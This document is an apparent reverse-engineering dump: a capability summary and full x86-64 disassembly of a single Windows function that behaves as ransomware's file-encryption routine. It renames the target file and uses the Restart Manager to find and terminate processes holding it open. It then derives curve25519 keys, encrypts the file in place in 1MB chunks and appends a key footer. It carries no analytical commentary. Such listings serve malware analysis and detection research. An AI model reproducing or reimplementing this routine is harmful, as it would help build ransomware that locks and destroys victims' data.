Function at 0x140017c70
Capabilities:
Create restart manager session
Encrypt data using curve25519
Enumerate processes that use resource
Generate random numbers via winapi
Get file size
Move file
Read file on windows
Set file attributes
Terminate process
Write file on windows

Disassembly:
push rbp
push rbx
push rdi
push r13
lea rbp, [rsp - 0x2f98]
mov eax, 0x3098
call fcn.14001f500
sub rsp, rax
mov rax, qword [0x140041060]
xor rax, rsp
mov qword [rbp + 0x2f80], rax
xor eax, eax
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x59], rax
xorps xmm0, xmm0
mov dword [rsp + 0x61], eax
mov word [rsp + 0x65], ax
lea edi, [rax + 1]
mov byte [rsp + 0x67], al
movabs rax, 0x2e6873696e696620
mov byte [rsp + 0x48], 9
mov qword [rbp + 0x60], rax
lea edx, [rdi + 0x7f]
movabs rax, 0x7369207369687420
mov qword [rbp + 0x58], rax
movabs rax, 0x2e646c726f772061
mov qword [rbp + 0x50], rax
movabs rax, 0x7220657261206577
mov qword [rbp + 0x48], rax
movups xmmword [rsp + 0x49], xmm0
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rcx, eax
lea rbx, [rcx*2 + 0x4e]
nop dword [rax]
mov rcx, qword [0x1400439a0]
mov r8, rbx
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r13, rax
test rax, rax
je 0x140017d20
mov rdx, qword [rsp + 0x68]
mov rcx, rax
mov qword [rsp + 0x30c8], rsi
mov qword [rsp + 0x30d8], r14
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x14000fda8]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rcx, qword [rsp + 0x68]
mov r8d, 9
mov rdx, r13
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
je 0x140018985
mov qword [rsp + 0x30d0], r12
xor ebx, ebx
mov qword [rsp + 0x30], rbx
mov r12d, 3
mov dword [rsp + 0x28], 0x8000000
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], r12d
mov edx, 0xc0000000
mov qword [rsp + 0x3090], r15
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rcx, qword [0x1400439a0]
mov r8, r13
xor edx, edx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp r14, 0xffffffffffffffff
jne 0x1400181d7
test edi, edi
je 0x1400186b1
mov dword [rsp + 0x40], ebx
movsxd rax, dword [rsp + 0x40]
cmp rax, 0x42
jae 0x140017e21
nop dword [rax + rax]
movsxd rax, dword [rsp + 0x40]
mov byte [rbp + rax + 0x2f30], bl
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
movsxd rax, dword [rsp + 0x40]
cmp rax, 0x42
jb 0x140017e00
lea r8, [rbp + 0x2f30]
xor edx, edx
lea rcx, [rsp + 0x78]
call qword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
mov esi, ebx
sete sil
test eax, eax
jne 0x140018600
mov ecx, dword [rsp + 0x78]
lea r8, [rsp + 0x68]
mov qword [rsp + 0x30], rbx
lea edx, [rax + 1]
mov dword [rsp + 0x28], ebx
xor r9d, r9d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
mov r14d, ebx
sete r14b
test eax, eax
jne 0x1400180c1
mov ecx, dword [rsp + 0x78]
lea rax, [rbp - 0x80]
lea r9, [rbp + 0x14c0]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x74]
mov dword [rsp + 0x74], 0xa
lea rdx, [rbp - 0x7c]
call qword [sym.imp.RstrtMgr.DLL_RmGetList]
test eax, eax
mov r15d, ebx
sete r15b
test eax, eax
jne 0x140018016
mov r15d, ebx
cmp dword [rsp + 0x74], ebx
jbe 0x140018186
mov eax, r15d
imul rsi, rax, 0x29c
mov eax, dword [rbp + rsi + 0x174c]
cmp eax, 4
je 0x140017ffd
cmp eax, 0x3e8
je 0x140017ffd
mov edi, dword [rbp + rsi + 0x14c0]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, edi
je 0x140017ffd
mov r8d, edi
xor edx, edx
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140017f3c
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, 0x1388
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140017ffd
cmp dword [0x140043998], ebx
je 0x140017ffd
lea r14, [rbp + 0x14cc]
add r14, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov qword [rsp + 0x38], rbx
mov r8, r14
mov qword [rsp + 0x30], rbx
mov r9d, eax
mov dword [rsp + 0x28], ebx
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd r12, eax
mov rcx, qword [0x1400439a0]
lea r8, [r12 + 0x40]
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140017f84
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov qword [rsp + 0x38], rbx
mov r8, r14
mov qword [rsp + 0x30], rbx
mov r9d, eax
mov dword [rsp + 0x28], r12d
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rdi
lea rcx, [0x14000fdb8]
mov r8d, eax
call fcn.140015260
mov rcx, qword [0x1400439a0]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
inc r15d
cmp r15d, dword [rsp + 0x74]
jb 0x140017ec2
mov r12d, 3
jmp 0x140018186
cmp dword [0x140043998], ebx
je 0x140018186
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x68]
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd r14, eax
nop dword [rax + rax]
mov rcx, qword [0x1400439a0]
lea r8, [r14 + 0x40]
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140018060
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x68]
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov r8d, r15d
lea rcx, [0x14000fdd0]
jmp 0x14001816c
cmp dword [0x140043998], ebx
je 0x140018186
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x68]
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd r15, eax
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [0x1400439a0]
lea r8, [r15 + 0x40]
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140018110
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x68]
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov r8d, r14d
lea rcx, [0x14000fde0]
mov rdx, rdi
call fcn.140015260
mov rcx, qword [0x1400439a0]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [rsp + 0x78]
call qword [sym.imp.RstrtMgr.DLL_RmEndSession]
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 0x8000000
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x20], r12d
mov rcx, r13
mov edi, ebx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rcx, qword [0x1400439a0]
mov r8, r13
xor edx, edx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp r14, 0xffffffffffffffff
je 0x140017de4
lea rdx, [rbp - 0x78]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov rcx, qword [0x1400439a0]
mov edx, 8
mov r8d, 0x100040
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
je 0x1400181e4
mov rcx, qword [0x140043990]
lea r8, [rbp - 0x50]
mov edx, 0x20
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
movzx ecx, byte [rbp - 0x31]
movzx edx, byte [rbp - 0x50]
and cl, 0x3f
and dl, 0xf8
or cl, 0x40
mov byte [rbp - 0x31], cl
lea rcx, [rbp + 0x12e0]
movaps xmm1, xmmword [rbp - 0x40]
mov byte [rbp - 0x50], dl
movaps xmm0, xmmword [rbp - 0x50]
movups xmmword [rbp + 0x2ef0], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movups xmmword [rbp + 0x2ee0], xmm0
mov byte [rbp + 0x2ee0], dl
lea rdx, [rsp + 0x48]
and al, 0x3f
or al, 0x40
mov byte [rbp + 0x2eff], al
call fcn.1400160b0
lea r9, [rbp + 0x12e0]
lea r8, [rbp + 0x2ee0]
lea rdx, [rbp + 0x1220]
lea rcx, [rbp + 0x1380]
call fcn.140017450
lea rdx, [rbp + 0x1220]
lea rcx, [rbp + 0x1330]
call fcn.1400178a0
lea r8, [rbp + 0x1330]
lea rdx, [rbp + 0x1380]
lea rcx, [rbp + 0x1220]
call fcn.140015aa0
lea rdx, [rbp + 0x1220]
lea rcx, [rbp + 0x20]
call fcn.1400162b0
movaps xmm0, xmmword [rbp - 0x50]
lea rdx, [0x140041b40]
movaps xmm1, xmmword [rbp - 0x40]
lea rcx, [rbp + 0x13d0]
movd eax, xmm0
movups xmmword [rbp + 0x2f18], xmm1
mov byte [rbp - 0x50], al
and al, 0xf8
movups xmmword [rbp + 0x2f08], xmm0
mov byte [rbp + 0x2f08], al
psrldq xmm1, 0xf
movd eax, xmm1
and al, 0x3f
or al, 0x40
mov byte [rbp + 0x2f27], al
call fcn.1400160b0
lea r9, [rbp + 0x13d0]
lea r8, [rbp + 0x2f08]
lea rdx, [rbp + 0x1280]
lea rcx, [rbp + 0x1470]
call fcn.140017450
lea rdx, [rbp + 0x1280]
lea rcx, [rbp + 0x1420]
call fcn.1400178a0
lea r8, [rbp + 0x1420]
lea rdx, [rbp + 0x1470]
lea rcx, [rbp + 0x1280]
call fcn.140015aa0
lea rdx, [rbp + 0x1280]
lea rcx, [rbp - 0x70]
call fcn.1400162b0
mov rax, qword [0x140010260]
mov qword [rbp + 0x70], rax
mov rax, qword [0x140010268]
mov qword [rbp + 0x78], rax
mov rax, qword [0x140010270]
mov qword [rbp + 0x80], rax
mov rax, qword [0x140010278]
mov qword [rbp + 0x88], rax
mov rax, qword [0x140010280]
mov qword [rbp + 0x90], rax
mov rax, qword [0x140010288]
mov qword [rbp + 0x98], rax
lea rdx, [rbp - 0x70]
mov rax, qword [0x140010290]
lea rcx, [rbp + 0x70]
mov qword [rbp + 0xa0], rax
mov r8d, 0x20
mov rax, qword [0x140010298]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0x130], rbx
mov qword [rbp + 0x138], rbx
mov dword [rbp + 0x140], ebx
call fcn.14001d020
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x70]
call fcn.14001d650
mov eax, dword [rbp - 0x20]
lea rdx, [rbp]
mov dword [rbp + 0x11d4], eax
lea rcx, [rbp + 0x150]
mov eax, dword [rbp - 0x1c]
mov dword [rbp + 0x11d8], eax
mov eax, dword [rbp - 0x18]
mov dword [rbp + 0x11dc], eax
mov eax, dword [rbp - 0x14]
mov dword [rbp + 0x11e0], eax
mov eax, dword [rbp - 0x10]
mov dword [rbp + 0x11e4], eax
mov eax, dword [rbp - 0xc]
mov dword [rbp + 0x11e8], eax
mov eax, dword [rbp - 8]
mov dword [rbp + 0x11ec], eax
mov eax, dword [rbp - 4]
mov dword [rbp + 0x11f0], eax
mov dword [rbp + 0x1214], pe_nt_image_headers64
mov dword [rbp + 0x1218], pe_nt_image_headers64
call fcn.14001b3d0
lea rcx, [rbp - 0x20]
call fcn.14001b9c0
mov dword [rbp + 0x40], eax
mov dword [rsp + 0x40], ebx
movsxd rax, dword [rsp + 0x40]
cmp rax, 0x40
jae 0x1400184c1
nop dword [rax]
movsxd rax, dword [rsp + 0x40]
mov byte [rbp + rax + 0x11d4], bl
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
movsxd rax, dword [rsp + 0x40]
cmp rax, 0x40
jb 0x1400184a0
mov dword [rsp + 0x40], ebx
movsxd rax, dword [rsp + 0x40]
cmp rax, 0x40
jae 0x1400184e9
mov eax, dword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
movsxd rax, dword [rsp + 0x40]
cmp rax, 0x40
jb 0x1400184d0
mov dword [rsp + 0x40], ebx
movsxd rax, dword [rsp + 0x40]
cmp rax, 0x40
jae 0x14001851e
nop dword [rax + rax]
movsxd rax, dword [rsp + 0x40]
mov byte [rbp + rax - 0x70], bl
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
movsxd rax, dword [rsp + 0x40]
cmp rax, 0x40
jb 0x140018500
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, r14
mov rdi, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov rcx, qword [rbp - 0x78]
cmp rcx, 0x1400000
jle 0x1400187b8
movabs rax, 0x6666666666666667
imul rcx
mov rsi, rdx
sar rsi, 0x16
mov rax, rsi
shr rax, 0x3f
add rsi, rax
test rsi, rsi
jle 0x1400188fe
nop dword [rax + rax]
lea r9, [rsp + 0x70]
mov qword [rsp + 0x20], rbx
mov r8d, 0x100000
mov rdx, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400185f1
mov eax, dword [rsp + 0x70]
lea rdx, [rbp + 0x150]
mov r9, r15
mov dword [rsp + 0x20], eax
mov r8, r15
call fcn.14001b770
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
lea r9, [rsp + 0x7c]
mov qword [rsp + 0x20], rbx
mov r8d, 0x100000
mov rdx, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
add rdi, 0xa00000
xor r9d, r9d
mov rdx, rdi
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
sub rsi, 1
jne 0x140018570
jmp 0x1400188fe
cmp dword [0x140043998], ebx
je 0x14001877c
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x68]
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd r15, eax
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [0x1400439a0]
lea r8, [r15 + 0x40]
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140018650
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x68]
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov r8d, esi
lea rcx, [0x14000fe00]
jmp 0x140018762
cmp dword [0x140043998], ebx
je 0x14001877c
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x68]
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd r14, eax
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [0x1400439a0]
lea r8, [r14 + 0x40]
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140018700
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x68]
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rcx, [0x14000fe18]
mov rdx, rdi
call fcn.140015260
mov rcx, qword [0x1400439a0]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r12, qword [rsp + 0x30d0]
mov r15, qword [rsp + 0x3090]
mov r14, qword [rsp + 0x30d8]
mov rsi, qword [rsp + 0x30c8]
mov rcx, qword [rbp + 0x2f80]
xor rcx, rsp
call fcn.14001ec80
add rsp, 0x3098
pop r13
pop rdi
pop rbx
pop rbp
ret
cmp rcx, 0x500000
jle 0x14001886b
movabs rax, 0x5555555555555556
imul rcx
mov rsi, rdx
shr rsi, 0x3f
add rsi, rdx
nop dword [rax]
lea r9, [rsp + 0x70]
mov qword [rsp + 0x20], rbx
mov r8d, 0x100000
mov rdx, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001885c
mov eax, dword [rsp + 0x70]
lea rdx, [rbp + 0x150]
mov r9, r15
mov dword [rsp + 0x20], eax
mov r8, r15
call fcn.14001b770
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov r8d, dword [rsp + 0x70]
lea r9, [rsp + 0x7c]
mov rdx, r15
mov qword [rsp + 0x20], rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
add rdi, rsi
xor r9d, r9d
mov rdx, rdi
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
sub r12, 1
jne 0x1400187e0
jmp 0x1400188fe
test rcx, rcx
jle 0x1400188fe
cmp rcx, 0xf4240
jle 0x14001889a
movabs rax, 0x6666666666666667
imul rcx
mov rcx, rdx
sar rcx, 1
mov rax, rcx
shr rax, 0x3f
add rcx, rax
mov r8d, ecx
mov qword [rsp + 0x20], rbx
mov rcx, r14
lea r9, [rsp + 0x70]
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400188fe
mov eax, dword [rsp + 0x70]
lea rdx, [rbp + 0x150]
mov r9, r15
mov dword [rsp + 0x20], eax
mov r8, r15
call fcn.14001b770
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov r8d, dword [rsp + 0x70]
lea r9, [rsp + 0x7c]
mov rdx, r15
mov qword [rsp + 0x20], rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [rsp + 0x40], ebx
movsxd rax, dword [rsp + 0x40]
cmp rax, 0x10cc
jae 0x140018933
nop
movsxd rax, dword [rsp + 0x40]
mov byte [rbp + rax + 0x150], bl
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
movsxd rax, dword [rsp + 0x40]
cmp rax, 0x10cc
jb 0x140018910
mov r9d, 2
xor r8d, r8d
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
lea r9, [rsp + 0x7c]
mov qword [rsp + 0x20], rbx
mov r8d, 0x48
lea rdx, [rbp + 0x20]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [0x1400439a0]
mov r8, r15
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14001877c
cmp dword [0x140043998], 0
je 0x14001878c
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x68]
xor ebx, ebx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
xor edx, edx
mov dword [rsp + 0x28], ebx
mov ecx, 0xfde9
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd r14, eax
nop word [rax + rax]
mov rcx, qword [0x1400439a0]
lea r8, [r14 + 0x40]
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x1400189d0
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x68]
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rdi
lea rcx, [0x14000fe40]
mov r8d, eax
call fcn.140015260
mov rcx, qword [0x1400439a0]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14001878c